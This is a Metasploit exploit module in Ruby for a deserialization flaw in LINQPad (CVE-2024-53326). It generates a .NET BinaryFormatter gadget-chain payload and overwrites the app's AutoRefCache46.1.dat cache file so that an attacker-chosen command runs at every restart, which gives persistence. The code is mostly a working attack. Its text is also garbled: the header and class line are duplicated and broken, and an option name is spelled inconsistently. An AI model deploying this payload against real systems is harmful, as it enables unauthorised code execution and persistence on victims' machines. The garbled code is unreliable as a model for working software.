##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

# includes file?, directory?
include Msf::Post::File
include Msf::Exploit::Local::Persistence

# includes generate
include Msf::Util::DotNetDeserialization
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'LINQPad Deserialization',
'Description' => %q{
This module exploits a bug in LIQPad up to version 5.48.00. The bug is only exploitable in paid version of software. The core of a bug is cache file containing deserialized data, which attacker can overwrite with malicious payload. The data gets deserialized every time the app restarts.
},
'License' => MSF_LICENSE,
'Author' => [
'msutovsky-r7 <This email address is being protected from spambots. You need JavaScript enabled to view it.>',
'James Williams' # original research
],
'Platform' => 'win',
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Windows', { 'Arch' => ARCH_CMD } ]],
'Privileged' => true,
'References' => [
[ 'URL', 'https://trustedsec.com/blog/discovering-a-deserialization-vulnerability-in-linqpad'],
[ 'CVE', '2024-53326']
],
'DisclosureDate' => '2024-12-03',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('CACHE_PATH', [true, 'Path to cache file directory containing deserialized data']),
])
end

# Simplify pulling the writable directory variable

def check
if !directory?(datastore['Cache_path'])
return Exploit::CheckCode::Unknown('Cache directory doesn\'t exist')
elsif !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat')
return Exploit::CheckCode::Unknown('Cannot find cache file')
elsif file?(datastore['CACHE_PATH'] + '/autorefcache46.2.dat')
return Exploit::CheckCode::Safe('Contains not vulnerable version of LINQPad')
else
return Exploit::CheckCode::Appears('LINQPad and vulnerable cache file present, target possibly exploitable')
end
end

def install_persistence
# generate payload
vprint_status('Create deserialization payload')

dotnet_payload = ::Msf::Util::DotNetDeserialization.generate(
payload.encoded, # this is the Operating System command to run
gadget_chain: :TextFormattingRunProperties,
formatter: :BinaryFormatter
)
vprint_status('Saving the original content')
cached_file_content = read_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat')
backup_conf_path = store_loot(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', 'text/plain', session, cached_file_content, 'AutoRefCached46.1.dat', 'autorefcache46.1.dat backup')
vprint_status("Saved at: #{backup_conf_path}")

@clean_up_rc << "upload #{backup_conf_path} #{datastore['CACHE_PATH']}/AutoRefCache46.1.dat"

vprint_status('Overwriting file')
# try to overwrite cache file
fail_with(Failure::PayloadFailed, 'Writing payload to cache file failed') unless write_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', dotnet_payload)
end
end